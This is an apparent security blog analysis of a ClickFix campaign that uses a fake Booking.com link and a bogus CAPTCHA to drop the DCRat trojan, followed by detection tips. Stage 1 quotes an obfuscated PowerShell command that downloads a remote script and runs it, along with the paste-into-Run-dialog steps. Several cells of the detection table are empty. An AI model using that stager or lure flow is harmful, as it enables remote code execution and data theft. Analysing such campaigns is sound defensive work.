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- Booking.com? more like Booking.exe: inside a ClickFix email that drops malware
Booking.com? more like Booking.exe: inside a ClickFix email that drops malware
How attackers use clipboard PowerShell stagers and brand-spoofed links to bypass macros and drop a .NET RAT.

ClickFix keeps evolving, and the latest variant comes with a nasty prize: DCRat downloaded straight from a fake Booking.com help link. Sublime Security’s researchers caught the full chain, from the inbox lure to the final C2 beacons, and their write-up gives us a perfect lab sample to dissect. (sublime.security)
stage 0: the email that sells the lie

Fake thread for legitimacy – The attack kicks off with a doctored conversation about an apartment rental. A “colleague” allegedly fell ill mid-booking, so the sender (our attacker) needs the target to double-check an accommodation surcharge.
Brand misuse and look-alike domain – The message references Booking.com, but the hyperlink hides behind extrannet-ruless[.]com, a fresh domain that looks close enough to Booking’s Extranet portal to fool a quick glance.
Cloudflare warm-up – Clicking the link shows a legitimate Cloudflare Turnstile CAPTCHA first. That lowers suspicion and lets Cloudflare flag the page as “safe.” Right after you pass the real puzzle, a JavaScript-driven fake CAPTCHA loads in its place.
stage 1: clickfix does the clipboard hustle
When the user clicks “I’m not a robot” on the bogus CAPTCHA, JavaScript silently copies an obfuscated PowerShell command to the clipboard:
powERsheLl /nOPR'o' -W h -c "$url='getsyv[.]com';$sCrIpT=Invoke-RestMethod -Uri $url;Invoke-Expression $sCrIpT"


The page then shows two “verification steps”:
Press Win + R
Press Ctrl + V and hit Enter
Anyone following directions pastes the payload into the Run dialog, launching PowerShell with no further phishing or macro friction.
stage 2: loader script with a side of UAC
PowerShell reaches
getsyv[.]com
for a loader that continuously loops until it can run with admin rights.The script adds Windows Defender exclusions for
C:\Windows\Temp
, ensuring future payloads stay off AV radar.Next it pulls
ckjg.exe
fromgettsveriff[.]com
, saves it astybd7.exe
in Temp, and executes it.
A user-visible UAC prompt does appear, but the preceding “verification” narrative combined with fake Booking branding nudges many recipients to click Yes.
stage 3: dcrat — old RAT, new wrapper
ckjg.exe
is DCRat (DarkCrystal), a .NET backdoor dating to 2019 that’s still popular thanks to its cheap one-time license and thriving plugin market. Out-of-the-box it offers:
command-execution and keylogging
cookie, password and clipboard theft
filesystem exfiltration and screenshot capture
The sample’s configuration points to five *.click
C2 domains, each registered within days of the campaign. SHA-256 for the binary:
08037de4a729634fa818ddf03ddd27c28c89f42158af5ede71cf0ae2d78fa198
why clickfix keeps working
No macro barriers – Modern Office blocks VBA by default; ClickFix sidesteps email attachment scanning entirely by leaning on the user’s clipboard.
Legit brand flow – Real CAPTCHA → fake CAPTCHA → Run prompt creates a believable, fast rhythm.
Defender blind spot – Local AV exclusions are added before the malware lands, guaranteeing a clean runway.
detection & defense tips
Layer | Checks that stop this attack |
---|---|
Email gateway | Flag newly registered domains (<10 days old), fake threads, Booking.com brand mentions with mismatching URLs. |
Endpoint | Alert when clipboard content matches suspicious regex like |
Network | Sinkhole |
User training | “Win + R, Ctrl + V” should raise alarms. Teach staff that real CAPTCHAs never ask them to paste commands into the Run box. |
ClickFix is a master class in turning human impatience into code execution. This variant shows how little infrastructure an attacker needs: two throwaway domains, a PowerShell stager, and an off-the-shelf RAT. Control the clipboard, watch for odd Run-dialog launches, and keep users skeptical of any CAPTCHA that wants keyboard shortcuts.